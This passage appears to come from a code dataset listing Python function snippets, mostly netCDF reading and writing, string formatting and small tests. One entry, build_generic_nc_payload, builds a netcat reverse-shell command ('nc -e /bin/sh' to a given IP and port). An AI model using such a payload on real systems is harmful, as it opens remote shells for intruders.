(\\\"far;{:8f}\\\\n\\\").format(cam.farPlane)\\n cam_string += (\\\"focal_length;{:8f}\\\\n\\\".format(cam.projectionMatrix[0][0]))\\n cam_string += (\\\"fov;{}\\\").format(cam.fov)\\n return cam_string\",\n \"def _parser_netcdf(self, filepath, local_attrs):\\n\\n fileparts = {}\\n\\n try:\\n fileparts['variable'] = []\\n fileparts['start_time'] = []\\n fileparts['end_time'] = []\\n fileparts['path'] = []\\n\\n # open file\\n d = nc.Dataset(filepath, 'r')\\n\\n # find what the time (unlimited) dimension is\\n dims = list(dict(d.dimensions).keys())\\n\\n # loop through all variables\\n for v in d.variables:\\n # add all variables that are not coordinates to the catalog\\n if v not in dims:\\n fileparts['variable'].append(v)\\n fileparts['path'].append(filepath)\\n\\n if 'time' in d.variables.keys():\\n times = d['time']\\n fileparts['start_time'].append(times[0])\\n fileparts['end_time'].append(times[-1])\\n\\n # add global attributes\\n for g in local_attrs['global'].keys():\\n if g not in fileparts.keys():\\n fileparts[g] = []\\n fileparts[g].append(local_attrs['global'][g])\\n\\n # add the keys that are common just to the particular glob string\\n # fileparts.update(local_attrs[filepath])\\n for lv in local_attrs[filepath].keys():\\n if lv not in fileparts.keys():\\n fileparts[lv] = []\\n if '<<' in local_attrs[filepath][lv]:\\n if hasattr(d.variables[v], lv):\\n fileparts[lv].append(getattr(d.variables[v], lv))\\n else:\\n fileparts[lv].append('NaN')\\n elif '<' in local_attrs[filepath][lv]:\\n k = local_attrs[filepath][lv].replace('<', '').replace('>', '')\\n if hasattr(d, k):\\n fileparts[lv].append(getattr(d, k))\\n else:\\n fileparts[lv].append('NaN')\\n else:\\n fileparts[lv].append(local_attrs[filepath][lv])\\n # close netcdf file\\n d.close()\\n except Exception:\\n pass\\n return fileparts\",\n \"def get_netcdf_module_set_cmds(log):\\n\\n netcdf = os.getenv('NETCDF')\\n if netcdf:\\n txt = \\\"setenv NETCDF %s\\\\n\\\" % netcdf\\n # netCDF-Fortran is optional (only for netCDF v4.2 and later)\\n netcdff = os.getenv('NETCDFF')\\n if netcdff:\\n txt += \\\"setenv NETCDFF %s\\\\n\\\" % netcdff\\n return txt\\n else:\\n log.error(\\\"NETCDF environment variable not set?\\\")\",\n \"def append2ncfile(dn2t,var,num):\\n print(\\\"appending..\\\")\\n dn2t[num] = var\",\n \"def native(self, **kwds):\\n # facility values are held in variables\\n return self.pyre_nameserver.variable(**kwds)\",\n \"def build_generic_nc_payload(revshell_ip, revshell_port) -> str:\\n return 'nc -e /bin/sh {} {}'.format(revshell_ip, revshell_port)\",\n \"def filename(N, Dr, g, launch):\\n\\n return 'N%s_R%s_G%s_E%s.datR' % tuple(map(float_to_letters,\\n (N, Dr, g, launch)))\",\n \"def __str__(self):\\n if self.num_channels == 1:\\n return \\\"%s: num_samples=%d, sample_rate=%d, duration=%.2fsec, rms=%.2fdB\\\" % (\\n type(self),\\n self.num_samples,\\n self.sample_rate,\\n self.duration,\\n self.rms_db,\\n )\\n else:\\n rms_db_str = ', '.join([f'{rms:.2f}dB' for rms in self.rms_db])\\n return \\\"%s: num_samples=%d, sample_rate=%d, duration=%.2fsec, num_channels=%d, rms=[%s]\\\" % (\\n type(self),\\n self.num_samples,\\n self.sample_rate,\\n self.duration,\\n self.num_channels,\\n rms_db_str,\\n )\",\n \"def _default_netcdf_fc(default=\\\"gfortran\\\"):\\n if _has_nc_config():\\n ret_val = subprocess.check_output(\\\"nc-config --fc\\\", shell=True)\\n return ret_val.decode().strip()\\n else:\\n return default\",\n \"def _dtype_to_str(dtype):\\n if dtype == core.VarDesc.VarType.BF16:\\n return 'bf16'\\n else:\\n return 'fp32'\",\n \"def get_str(nr_rational):\\n return f'{get_numarator(nr_rational)} / {get_numitor(nr_rational)}'\",\n \"def read_nc_var(nc_file, var_name, var_date_name):\\n \\n fh = Dataset(nc_file, mode='r')\\n var = fh.variables[var_name][:]\\n var_dates = fh.variables[var_date_name][:]\\n \\n print(var_name,': ', var.shape)\\n print(var_date_name,': ', var_dates.shape)\\n \\n return var, var_dates;\",\n \"def map_variable(variable_name):\\n return '%recipient.' + variable_name + '%'\",\n \"def test_str(self):\\n q0 = sym.Symbol(\\\"q0\\\")\\n q2 = sym.Symbol(\\\"q2\\\")\\n f = (q0 + q2) / np.sqrt(2)\\n\\n rrt = RegRefTransform(f)\\n\\n assert rrt.__str__() == \\\"0.707106781186547*q0 + 0.707106781186547*q2\\\"\",\n \"def __get_dataset_name(self):\\n d = gdal.Open(self.fname)\\n # Get band metadata\\n b = d.GetRasterBand(1)\\n md = b.GetMetadata()\\n\\n if 'data_var' in md:\\n return md['data_var']\\n else:\\n fnames = d.GetFileList()\\n if len(fnames) > 2:\\n d = gdal.Open(fnames[1])\\n # Get band metadata\\n b = d.GetRasterBand(1)\\n md = b.GetMetadata()\\n if 'data_var' in md:\\n return md['data_var']\\n else:\\n return 'data'\\n else:\\n return 'data'\",\n \"def cl_file(tmp_path):\\n nc_path = os.path.join(tmp_path, 'cesm2_waccm_cl.nc')\\n dataset = Dataset(nc_path, mode='w')\\n dataset.createDimension('lev', size=2)\\n dataset.createDimension('bnds', size=2)\\n\\n # Dimensional variables\\n dataset.createVariable('lev', np.float64, dimensions=('lev',))\\n dataset.createVariable('lev_bnds', np.float64, dimensions=('lev', 'bnds'))\\n dataset.variables['lev'][:] = [1.0, 2.0]\\n dataset.variables['lev'].bounds = 'lev_bnds'\\n dataset.variables['lev'].units = '1'\\n dataset.variables['lev_bnds'][:] = [[0.5, 1.5], [1.5, 3.0]]\\n dataset.variables['lev_bnds'].standard_name = (\\n 'atmosphere_hybrid_sigma_pressure_coordinate')\\n dataset.variables['lev_bnds'].units = '1'\\n dataset.variables['lev_bnds'].formula_terms = (\\n 'p0: p0 a: a_bnds b: b_bnds ps: ps')\\n\\n # Coordinates for derivation of pressure coordinate\\n dataset.createVariable('a', np.float64, dimensions=('lev',))\\n dataset.createVariable('a_bnds', np.float64, dimensions=('lev', 'bnds'))\\n dataset.createVariable('b', np.float64, dimensions=('lev',))\\n dataset.createVariable('b_bnds', np.float64, dimensions=('lev', 'bnds'))\\n dataset.variables['a'][:] = [1.0, 2.0]\\n dataset.variables['a'].bounds = 'a_bnds'\\n dataset.variables['a_bnds'][:] = [[1.5, 0.0], [3.0, 1.5]]\\n dataset.variables['b'][:] = [0.0, 1.0]\\n dataset.variables['b'].bounds = 'b_bnds'\\n dataset.variables['b_bnds'][:] = [[0.5, -1.0], [2.0, 0.5]]\\n\\n dataset.close()\\n return nc_path\",\n \"def fmtd_str(self,c=False,prefix_symbol=\\\"\\\"):\\n psym = prefix_symbol\\n ms1 = (\\n f\\\"{self.filename_prefix_mono}{self.event_kind:9} \\\"\\n f\\\"{self.separator * len(self.stack)} \\\"\\n )\\n lms1 = len(ms1)+len(\\\"(\\\")\\n join_mstr = f\\\",\\\\n{' '*lms1}\\\"\\n mavs = (\\n f\\\"{self.argvars}\\\"\\n )\\n ms = f\\\"{psym}{ms1}{mavs}\\\"\\n if c:\\n aac = argvars_argname_color = \\\"MAGENTA\\\"\\n ps1 = (\\n f\\\"{self.filename_prefix_poly}{self.color.fore(f'{self.event_kind:9}','KIND')} \\\"\\n f\\\"{self.separator * len(self.stack)} \\\"\\n )\\n lps1 = lms1\\n join_pstr = f\\\",\\\\n{' '*lps1}\\\"\\n pavs = (\\n f\\\"{self.argvars}\\\"\\n )\\n ps = f\\\"{psym}{ps1}{pavs}\\\"\\n return ps\\n return ms\",\n \"def rAssetName(nodeNS):\\n\\t#return nodeNS.split('_')[0] + re.sub('.*?([0-9]*)$', r'\\\\1', nodeNS)\\n\\treturn nodeNS.split('_')[0]\",\n \"def _build_fname_templ(n):\\n parts =[globals.ds_fn_templ.format(i='{i_ref:d}', ds='{ref}', var='{ref_var}')]\\n for i in range(1, n):\\n parts += [globals.ds_fn_templ.format(i='{i_ds%i:d}' % i, ds='{ds%i}' % i,\\n var='{var%i}' % i)]\\n return globals.ds_fn_sep.join(parts) + '.nc'\",\n \"def F_read_S5P_nc(self,fn,data_fields,data_fields_l2g=[]):\\n from netCDF4 import Dataset\\n ncid = Dataset(fn,'r')\\n outp = {}\\n for i in range(len(data_fields)):\\n tmp = ncid[data_fields[i]]\\n tmpdtype = tmp.dtype\\n if not data_fields_l2g:\\n varname = tmp.name\\n else:\\n varname = data_fields_l2g[i]\\n if tmpdtype is \\\"str\\\":\\n outp[varname] = tmp[:]\\n else:\\n outp[varname] = np.squeeze(tmp[:])\\n ## scale factor already applied?! so confusing\\n# try:\\n# outp[varname] = outp[varname]*tmp.scale_factor\\n# if tmp.scale_factor != 1:\\n# print(varname+' has a scale_factor of '+'%s'%tmp.scale_factor)\\n# except Exception:\\n# #print(e)\\n# print(varname+' has no scale_factor!')\\n if 'time_utc' in outp.keys():\\n UTC_matlab_datenum = np.zeros((len(outp['time_utc']),1),dtype=np.float64)\\n for i in range(len(outp['time_utc'])):\\n tmp = datetime.datetime.strptime(outp['time_utc'][i],'%Y-%m-%dT%H:%M:%S.%fZ')\\n UTC_matlab_datenum[i] = (tmp.toordinal()\\\\\\n +tmp.hour/24.\\\\\\n +tmp.minute/1440.\\\\\\n +tmp.second/86400.\\\\\\n +tmp.microsecond/86400/1000000+366.)\\n outp['UTC_matlab_datenum'] = np.tile(UTC_matlab_datenum,(1,outp['latc'].shape[1]))\\n else: # hcho l2 does not have time_utc\\n # the delta_time field of hcho fills all across track position, but ch4 is one per scanline\\n if len(outp['delta_time'].shape) == 1:\\n outp['delta_time'] = np.tile(outp['delta_time'][...,None],(1,outp['latc'].shape[1]))\\n outp['UTC_matlab_datenum'] = (outp['time']+outp['delta_time']/1000.)/86400.+734139.\\n \\n outp['across_track_position'] = np.tile(np.arange(1.,outp['latc'].shape[1]+1),\\\\\\n (outp['latc'].shape[0],1)).astype(np.int16)\\n return outp\",\n \"def read_model_coord_var(case,varname):\\n filelist = create_file_list(case)\\n fpin = Nio.open_file(filelist[0],'r')\\n data = fpin.variables[varname][:]\\n fpin.close()\\n return data\",\n \"def netcdf_file(self, tmpdir, filename, dim=\\\"time\\\", values=[1234],\\n units=None, global_attrs=None):\\n path = str(tmpdir.join(filename))\\n ds = Dataset(path, \\\"w\\\")\\n ds.createDimension(dim, None)\\n var = ds.createVariable(dim, np.float32, (dim,))\\n if units:\\n var.units = units\\n var[:] = values\\n if global_attrs:\\n for attr, value in global_attrs.items():\\n setattr(ds, attr, value)\\n ds.close()\\n return path\",\n \"def test_get_prior_string_no_precision(self):\\n dim = Real(\\\"yolo\\\", \\\"uniform\\\", 1, 2, precision=4)\\n assert dim.get_prior_string() == \\\"uniform(1, 3)\\\"\",\n \"def _default_netcdf_fflags():\\n if _has_nc_config():\\n ret_val = subprocess.check_output(\\\"nc-config --fflags\\\", shell=True)\\n return ret_val.decode().strip()\\n else:\\n return \\\"\\\"\",\n \"def param2FociStr(tParam):\\r\\n #Auxiliary variables\\r\\n cx, cy, l, w, tau = tParam\\r\\n sinT=np.sin(tau)\\r\\n cosT=np.cos(tau)\\r\\n c = (l**2-w**2)**.5\\r\\n\\r\\n # Foci&String parameters\\r\\n x1 = cx - cosT*c\\r\\n y1 = cy - sinT*c\\r\\n x2 = cx + cosT*c\\r\\n y2 = cy + sinT*c\\r\\n s = 2*l\\r\\n\\r\\n return (x1, y1, x2, y2, s)\",\n \"def convertion_name(idn):\\n inputn = 'f522_dh.trainingdata_in.lcv.'+idn+'.hdf5'\\n outputn = 'jacobian_'+idn+'.npy'\\n return(inputn, outputn)\",\n \"def get_variable_full_name(var):\\n if var._save_slice_info:\\n return var._save_slice_info.full_name\\n else:\\n return var.op.name\",\n \"def lonlat2string(val,lonlat):\\n # Check lonlat is valid\\n if lonlat not in ['lon','lat']:\\n raise UserWarning(\\\"lonlat not valid. Must be 'lon' or 'lat'.\\\")\\n # Remove decimal point if integer value, eg 5.0 becomes 5\\n # and take absolute value\\n if int(val)==val:\\n xx=abs(int(val))\\n else:\\n xx=abs(val)\\n # Set sign\\n if lonlat=='lon':\\n if val<0:\\n sign='W'\\n elif 0<=val<=180:\\n sign='E'\\n else:\\n xx=360-xx\\n sign='W'\\n else:\\n if val<0:\\n sign='S'\\n else:\\n sign='N'\\n # Create string\\n lonlatstring=str(xx)+'$^\\\\circ$'+sign\\n return lonlatstring\",\n \"def PseudoIOAPIVariable(parent,name,typecode,dimensions,**kwds):\\n\\n retval = PseudoNetCDFVariable(parent, name, typecode, dimensions, **kwds)\\n\\n if not 'units' in kwds:\\n warn('IOAPI variables must have units; %s has been initialized with \\\"None\\\" units')\\n retval.units = 'None'\\n \\n if not 'long_name' in kwds:\\n retval.long_name = name.ljust(16)\\n\\n if not 'var_desc' in kwds:\\n retval.var_desc = name.ljust(80)\\n\\n return retval\",\n \"def getGridName(self, in_nc, high_res=False):\\r\\n if high_res:\\r\\n return 'ecmwf_t1279'\\r\\n return 'ecmwf_tco639'\\r\\n #if high_res: # Line Added/Modified CJB 20190108\\r\\n #return 'ecmwf_HRES_F' # Line Added/Modified CJB 20190108\\r\\n #else: # MJS 20190108\\r\\n #return 'ecmwf_ENS_F' # Line Added/Modified MJS, CJB 20190108\\r\",\n \"def _as_string(self, name):\\n org_type = self._get_type(name)\\n if org_type == 'string': return None\\n valid = ['single', 'delimited set', 'int', 'float', 'date']\\n if not org_type in valid:\\n msg = 'Cannot convert variable {} of type {} to text!'\\n raise TypeError(msg.format(name, org_type))\\n self._meta['columns'][name]['type'] = 'string'\\n if self._get_type in ['single', 'delimited set']:\\n self._meta['columns'][name].pop('values')\\n self._data[name] = self._data[name].astype(str)\\n return None\",\n \"def to_string(self, smirnoff_data):\\n pass\",\n \"def _file_name(self, dtype_out_time, extension='nc'):\\n out_lbl = utils.io.data_out_label(self.intvl_out, dtype_out_time,\\n dtype_vert=self.dtype_out_vert)\\n in_lbl = utils.io.data_in_label(self.intvl_in, self.dtype_in_time,\\n self.dtype_in_vert)\\n ens_lbl = utils.io.ens_label(self.ens_mem)\\n yr_lbl = utils.io.yr_label((self.start_date.year, self.end_date.year))\\n return '.'.join(\\n [self.name, out_lbl, in_lbl, self.model.name,\\n self.run.name, ens_lbl, yr_lbl, extension]\\n ).replace('..', '.')\",\n \"def src_get_name(converter_type):\\n return ffi.string(_lib.src_get_name(converter_type)).decode()\",\n \"def rho_name(m1, m2):\\n root = \\\"/Users/atlytle/Dropbox/pycode/tifr/data/\\\"\\n return root + \\\"HOrho_l2464_m{0}_m{1}.npy\\\".format(m1, m2)\",\n \"def create_xif_for_raw_data(\\n xdm_rule, xdm_field_type, xdm_class_type, field_path_raw, type_raw\\n) -> str:\\n logger.info(\\n f'field name: \\\"{field_path_raw}\\\" - xdm type: {xdm_field_type} - raw type {type_raw}'\\n )\\n name = field_path_raw\\n\\n if \\\".\\\" in field_path_raw:\\n dict_keys = field_path_raw.split(\\\".\\\")\\n prefix = dict_keys[0]\\n suffix = \\\".\\\".join(dict_keys[1:])\\n if xdm_class_type == \\\"Array\\\":\\n name = json_extract_array_wrap(prefix, suffix)\\n return name\\n else:\\n name = json_extract_scalar_wrap(prefix, suffix)\\n\\n if xdm_field_type != convert_raw_type_to_xdm_type(type_raw):\\n # Type casting\\n name = convert_to_xdm_type(name, xdm_field_type)\\n\\n if xdm_class_type == \\\"Array\\\":\\n # convert a scalar into an array\\n name = array_create_wrap(name)\\n\\n return name\",\n \"def create_run_str(reqnum, unitname, attnum):\\n run = '%s_r%sp%02d' % (unitname, reqnum, int(attnum))\\n return run\",\n \"def _read_nc(self, FN):\\n from netCDF4 import Dataset\\n grid_nc = Dataset(FN, 'r')\\n data = {}\\n for key in list(grid_nc.variables):\\n data[key] = np.array(grid_nc.variables[key][:][0][:])\\n grid_nc.close()\\n return data\",\n \"def _convert_to_string(srs):\\n return srs.map(lambda x: str(x))\",\n \"def get_device_str(device_id, num_gpus):\\n if num_gpus == 0:\\n return \\\"/cpu:0\\\"\\n device_str_output = \\\"/gpu:%d\\\" % (device_id % num_gpus)\\n return device_str_output\",\n \"def _load_nc(filename=None):\\n\\n ncid = netcdf.netcdf_file(filename, 'r',mmap=True)\\n \\n data={}\\n\\n for i in ncid.variables.keys():\\n data[i]=ncid.variables[i].data\\n\\n return data\",\n \"def mysummary(self):\\n return self.sprintf(\\\"IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%\\\")\",\n \"def test_get_prior_string_precision(self):\\n dim = Real(\\\"yolo\\\", \\\"uniform\\\", 1, 2, precision=5)\\n assert dim.get_prior_string() == \\\"uniform(1, 3, precision=5)\\\"\",\n \"def make_data_label(self):\\n data_label = \\\"\\\"\\n if self.detector is not None:\\n data_label += \\\"%s \\\"%self.detector\\n if self.selection is not None:\\n data_label += \\\"%s Event Selection\\\"%self.selection\\n if data_label == \\\"\\\":\\n data_label = \\\"IceCube\\\"\\n return data_label\",\n \"def nfkc_txt(request) -> Dict[str, str]:\\n return request.param\",\n \"def native_string(input_var):\\n if isinstance(input_var, str):\\n return input_var\\n\\n return input_var.decode('utf-8', 'replace')\",\n \"def var_to_string(var):\\n\\n var_code = type_codes.get(var.get(\\\"type\\\", None), None)\\n\\n if (not var_code):\\n raise ValueError(\\\"Cannot convert variable to string\\\")\\n\\n code = var_code.format(**var)\\n\\n return code\",\n \"def clc_core_fn_name(dst, size='', mode='', sat=''):\\n return \\\"__clc_convert_{DST}{N}{SAT}{MODE}\\\".format(DST=dst, N=size, SAT=sat, MODE=mode)\",\n \"def format_term(term: Union[BNode, Literal, URIRef, Variable]) -> str:\\n if isinstance(term, URIRef):\\n return str(term)\\n elif isinstance(term, BNode):\\n return '?v_' + str(term)\\n elif isinstance(term, Literal):\\n return format_literal(term)\\n else:\\n return term.n3()\",\n \"def write_netcdf(file, lons, lats, times, hydrographs, fractions, loc, grid_id,\\n inds, Flist, velocity, diffusion, fill_value, verbose):\\n f = Dataset(file,'w', format='NETCDF4')\\n\\n # set dimensions\\n time = f.createDimension('time', None)\\n lon = f.createDimension('lon', (len(lons)))\\n lat = f.createDimension('lat', (len(lats)))\\n\\n # initialize variables\\n time = f.createVariable('time','f8',('time',))\\n lon = f.createVariable('lon','f8',('lon',))\\n lat = f.createVariable('lat','f8',('lat',))\\n fraction = f.createVariable('fraction','f8',('lat','lon',),fill_value=fill_value)\\n UHS = f.createVariable('unit_hydrograph','f8',('time','lat','lon',),fill_value=fill_value)\\n\\n # write attributes for netcdf\\n f.description = 'Aggregated UH_S and Fraction Vars'\\n f.history = 'Created: {}\\\\n'.format(tm.ctime(tm.time()))\\n f.history += ' '.join(sys.argv) + '\\\\n'\\n f.source = sys.argv[0] # prints the name of script used\\n f.velocity = velocity\\n f.diffusion = diffusion\\n f.outlet_id = str(grid_id.astype(np.int64))\\n f.outlet_y= str(inds[0].astype(np.int64))\\n f.outlet_x = str(inds[1].astype(np.int64)) # this is change is a cdo work around. Othewise cdo removes the attribute. \\n f.outlet_lat = loc[0]\\n f.outlet_lon = loc[1]\\n f.includes = ', '.join(Flist)\\n\\n lat.long_name = 'latitude coordinate'\\n lat.standard_name = 'latitude'\\n lat.units = 'degrees_north'\\n\\n lon.long_name = 'longitude coordinate'\\n lon.standard_name = 'longitude'\\n lon.units = 'degrees_east'\\n\\n time.units = 'seconds since 0001-1-1 0:0:0'\\n time.calendar = 'noleap'\\n time.longname = 'time'\\n time.type_prefered = 'float'\\n time.description = 'Seconds since initial impulse'\\n\\n UHS.units = 'unitless'\\n UHS.description = 'unit hydrograph for each grid cell with respect to downstream grid location'\\n \\n fraction.units = 'unitless'\\n fraction.description = 'fraction of grid cell contributing to guage location'\\n\\n # write data to variables initialized above\\n time[:]= times\\n lon[:] = lons\\n lat[:] = lats\\n UHS[:,:,:] = hydrographs\\n fraction[:,:]= fractions\\n f.close()\",\n \"def get_fable_string():\\n f = open(\\\"fable.txt\\\", \\\"r\\\")\\n fable = str(f.read())\\n f.close()\\n return fable\",\n \"def addtonc(ncfout,key,vd,ofield,ftype=\\\"timeseries\\\"):\\n nc_out=nc.Dataset(ncfout,'r+')\\n if ftype==\\\"timeseries\\\":\\n diml=['time','height','south_north','west_east'] # Tuple of Dimensions\\n if vd['dims']==4:\\n dimtup=tuple(diml)\\n elif vd['dims']==3:\\n dimtup = tuple([c for c in diml if c != \\\"height\\\"])\\n elif vd['dims']==2:\\n dimtup = tuple([c for c in diml if c not in [\\\"height\\\",\\\"time\\\"]])\\n elif ftype==\\\"roughness\\\":\\n diml=['south_north','west_east']\\n dimtup=tuple(diml)\\n elif ftype==\\\"tabfile\\\":\\n diml=['south_north','west_east','sector','wind','stab']\\n if vd['dims']==3:\\n dimtup=tuple(diml.remove('wind').remove('stab'))\\n if vd['dims']==2:\\n dimtup=tuple(diml.remove('wind').remove('stab').remove('sector'))\\n if key in (\\\"TKE\\\", \\\"ABLAT_CYL\\\", \\\"ACCRE_CYL\\\"):\\n outv=nc_out.createVariable(key, 'f4', dimtup, zlib=True,\\n complevel=9, fill_value=-999.)\\n else:\\n outv=nc_out.createVariable(key,'f4',dimtup,zlib=True,complevel=9)\\n outv.units=vd['units']\\n outv.long_name=vd['name']\\n if vd['std_name'] is not None:\\n outv.standard_name=vd['std_name']\\n if key==\\\"PRECIP\\\":\\n outv.cell_methods=\\\"time: sum\\\"\\n outv.grid_mapping=\\\"crs\\\"\\n outv.coordinates=\\\"XLAT XLON\\\"\\n outv[:]=ofield[:]\\n nc_out.close()\\n return(None)\",\n \"def to_fnu(self, fnu_units=FNU_CGS):\\n #import astropy.constants as const\\n #flux_fnu = self.flux * self.wave**2 / 3.e18\\n #flux_fnu = (self.flux*self.fluxunits*(self.wave*self.waveunits)**2/const.c).to(FNU_CGS) #, \\n \\n if ((FNU_CGS.__str__() == 'erg / (cm2 Hz s)') & \\n (self.fluxunits.__str__() == 'erg / (Angstrom cm2 s)')):\\n # Faster\\n flux_fnu = self.flux*self.wave**2/2.99792458e18*fnu_units\\n else:\\n # Use astropy conversion\\n flux_fnu = (self.flux*self.fluxunits).to(fnu_units, equivalencies=u.spectral_density(self.wave*self.waveunits))\\n \\n self.fnu_units = fnu_units\\n self.flux_fnu = flux_fnu.value\",\n \"def _qstring(f):\\n \\n length_header = np.uint32(struct.unpack('I', f.read(4)))[0]\\n if length_header == int('ffffffff' , 16): #ffffffff specifies a null string\\n return\\n if length_header == 0: #0 is an empty string\\n return ''\\n string = f.read(length_header)\\n \\n #decoding hack, enables dictionary call by ascii (rather than hex)\\n ascii = \\\"\\\".join(list(string)[::2])\\n \\n return ascii\",\n \"def to_string(self):\\n return 'PMC<%s>' % self.pmc_name\",\n \"def ncwrt_retrieval_model(retr_setup, outname=None):\\n\\n #-- set name of file to be generated\\n act_outname = outname if outname!=None else 'retrmodel.nc'\\n msg = \\\"Start writing configuration file ***{}***...\\\".format(act_outname)\\n FileLogger.info(msg)\\n\\n #-- compression settings\\n zlev = retr_setup.zlev\\n use_zlib = retr_setup.use_zlib\\n\\n #-- retrieval settings\\n schedule_dct = retr_setup.schedule_dct\\n timepts = schedule_dct['date_utc']\\n npts = len(timepts)\\n a_components = retr_setup.a_components\\n b_components = retr_setup.b_components\\n munc_components = retr_setup.munc_components\\n\\n #-- temporal settings, create time-values (time-since)\\n time_start, time_end = datelst_get_month_aligned_bounds(timepts)\\n time_coverage_start = time_start.strftime('%Y-%m-%dT%H:%M:%S')\\n time_coverage_end = time_end.strftime('%Y-%m-%dT%H:%M:%S')\\n ref_time = dt.datetime(timepts[0].year,1,1) #January1st in year of first point in time\\n time_unit = 'seconds since {}'.format(ref_time.strftime('%Y-%m-%dT%H:%M:%S'))\\n time_values = nc4.date2num(timepts, time_unit)\\n\\n #-- ensure directory exists\\n mkdirp_smart(os.path.dirname(act_outname))\\n\\n #-- open file pointer\\n ncfp = nc4.Dataset(act_outname, 'w')\\n #-- add dimensions\\n d1 = ncfp.createDimension('npoints',npts)\\n\\n #-- time-value\\n ncvar = ncfp.createVariable( 'time', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('standard_name','time')\\n ncvar.setncattr('long_name','time')\\n ncvar.setncattr('units', time_unit)\\n ncvar[:] = time_values[:]\\n\\n unit_one = np.float64(1)\\n #-- a-coefficient part\\n # lai\\n ncvar = ncfp.createVariable( 'a_lai', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'a coefficient associated to LAI in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = a_components[0,:]\\n # canht\\n ncvar = ncfp.createVariable( 'a_canht', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'a coefficient associated to canopy height in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = a_components[1,:]\\n # soil moisture\\n ncvar = ncfp.createVariable( 'a_sm', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'a coefficient associated to soil moisture in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = a_components[2,:]\\n\\n #-- offset-coefficient part\\n # lai\\n ncvar = ncfp.createVariable( 'offset_lai', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'offset associated to LAI in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = b_components[0,:]\\n # canht\\n ncvar = ncfp.createVariable( 'offset_canht', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'offset associated to canopy height in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = b_components[1,:]\\n # soil moisture\\n ncvar = ncfp.createVariable( 'offset_sm', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'offset associated to soil moisture in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = b_components[2,:]\\n\\n #-- model-uncertainty part\\n # lai\\n ncvar = ncfp.createVariable( 'munc_lai', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'model uncertainty associated to LAI in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = munc_components[0,:]\\n # canht\\n ncvar = ncfp.createVariable( 'munc_canht', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'model uncertainty associated to canopy height in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = munc_components[1,:]\\n # soil moisture\\n ncvar = ncfp.createVariable( 'munc_sm', np.float64, ('npoints',),\\n zlib=use_zlib, complevel=zlev )\\n ncvar.setncattr('long_name', 'model uncertainty associated to soil moisture in dynamic state model')\\n ncvar.setncattr('units',unit_one)\\n ncvar[:] = munc_components[2,:]\\n\\n\\n #-- global attributes\\n ncfp.setncattr('creator_name',\\\"The Inversion Lab, Hamburg, Germany\\\")\\n ncfp.setncattr('creator_email', \\\"Michael.Vossbeck(at)Inversion-Lab.com\\\")\\n ncfp.setncattr('netcdf_libversion',\\\"{}\\\".format(nc4.__netcdf4libversion__))\\n ncfp.setncattr('date_created',\\\"{}\\\".format(dt.datetime.utcnow().isoformat()))\\n ncfp.setncattr('time_coverage_start',time_coverage_start)\\n ncfp.setncattr('time_coverage_end',time_coverage_end)\\n\\n #-- close file pointer\\n ncfp.close()\\n\\n # logging\\n msg = \\\"...writing ***{}*** DONE\\\".format(act_outname)\\n FileLogger.info(msg)\",\n \"def write_to_netCDF(nc_filename, data,\\n ncformat='NETCDF4_CLASSIC',\\n all_variables=False,\\n verbose=True):\\n ncfile = Dataset(nc_filename,'w', format=ncformat, clobber=True)\\n for dd,dim in enumerate(data['dims']):\\n ncfile.createDimension(data['dimname'][dd],dim)\\n for vv,varname in enumerate(data['varn']):\\n if all_variables:\\n newvar = ncfile.createVariable(varname,\\n data['vardtype'][vv],\\n data['vardims'][vv])\\n newvar[:] = data['data'][vv]\\n newvar.units = data['units'][vv]\\n else:\\n if varname in core_variables:\\n newvar = ncfile.createVariable(varname,\\n data['vardtype'][vv],\\n data['vardims'][vv],\\n fill_value=data['fillValue'])\\n newvar[:] = data['data'][vv]\\n if verbose:\\n print(varname)\\n print(newvar[newvar == np.nan])\\n newvar[newvar == np.nan] = data['fillValue']\\n newvar.units = data['units'][vv]\\n ncfile.createDimension('nchars',19)\\n newvar[:] = data['time']\\n ncfile.description = data['description']\\n ncfile.station = data['station']\\n ncfile.sensor = data['sensor']\\n ncfile.latitude = data['latitude']\\n ncfile.longitude = data['longitude']\\n ncfile.altitude = data['altitude']\\n ncfile.createdon = datetime.now().strftime(standard_datetime_fmt)\\n ncfile.createdby = data['author']\\n ncfile.close()\",\n \"def string(rxn_class):\\n spin_str = '' if spin(rxn_class) is None else spin(rxn_class)\\n radrad_str = '' if not radrad(rxn_class) else 'radical-radical'\\n isc_str = '' if not isc(rxn_class) else 'intersystem-crossing'\\n cls_str = typ(rxn_class)\\n\\n out_str = ''\\n for str_ in (isc_str, radrad_str, spin_str, cls_str):\\n if str_:\\n out_str += f'{str_} '\\n\\n return out_str.strip()\",\n \"def save_ncds(vardict,coords,attrs={},filename=None):\\n \\n if 'time' in coords.keys():\\n newtime = [np.double((t-dt(1800,1,1)).total_seconds()/3600) for t in coords['time']['data']]\\n delta_t = np.gradient(newtime)[0]\\n \\n coords['time']['data'] = newtime\\n coords['time']['attrs'] = {'long_name':\\\"Time\\\",\\n 'delta_t':f\\\"0000-00-{int(delta_t/24):02} {int(delta_t%24):02}:00:00\\\",\\n 'standard_name':\\\"time\\\",\\n 'axis': \\\"T\\\",\\n 'units':\\\"hours since 1800-01-01 